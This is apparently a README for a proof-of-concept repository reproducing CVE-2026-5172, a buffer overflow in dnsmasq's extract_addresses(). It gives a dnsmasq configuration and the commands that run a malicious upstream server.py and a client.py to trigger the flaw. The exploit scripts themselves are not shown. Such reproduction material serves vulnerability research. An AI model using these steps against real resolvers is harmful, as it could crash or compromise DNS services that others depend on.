lottiedeyan/CVE20265172poc

# CVE20265172poc CVE-2026-5172: buffer overflow in extract_addresses() on crafted resource record PoC Topology read here https://medium.com/@yanyuyingshu/reproduction-journal-dnsmasq-ecs-validation-and-buffer-overflow-flaws-e0fe0f66f60c Steps​ 1. vi /etc/dnsmasq.conf​ port=5353​ listen-address=xxx.xxx.xxx.x bind-interfaces​ no-resolv​ no-hosts​ no-poll​ cache-size=1000​ log-queries​ log-facility=-​ server=127.0.0.1#5354​ (and restart dnsmasq daemon)​ ​ 2. python3 server.py --host 127.0.0.1 --port 5354 --rdlen 6 –debug &​ 3. python3 client.py --dnsmasq-host xxx.xxx.xxx.x --dnsmasq-port 5353 --timeout 5.0 --count 3​